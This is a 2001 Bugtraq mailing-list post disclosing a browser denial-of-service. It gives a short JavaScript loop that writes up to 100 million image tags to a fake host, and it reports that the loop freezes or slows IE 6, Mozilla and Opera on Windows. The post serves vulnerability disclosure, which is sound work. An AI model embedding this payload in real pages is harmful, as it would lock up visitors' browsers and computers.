Bugtraq mailing list archives
Browsers fails on big image count
From: Pavel Titov <Pavel.Titov () mtu-net ru>
Date: Tue, 11 Dec 2001 19:57:11 +0300
Code
<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>
Browser reaction
IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization
and very high disk utilization asks about stopping script. Small memory
leak (few Mb per minute).
IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long, terminating task causes computer lockup.Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization and big memory leak (bigger than 1Mb per second). Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very fast. Big CPU utilization and very small memory leak (few hundreth kilobytes per minute).
-- Pavel Titov Homepage: http://www.titov.pp.ru/ Home gopherspace: gopher://paveltitov.virtualave.net:7070/
Current thread:
- Browsers fails on big image count Pavel Titov (Dec 12)
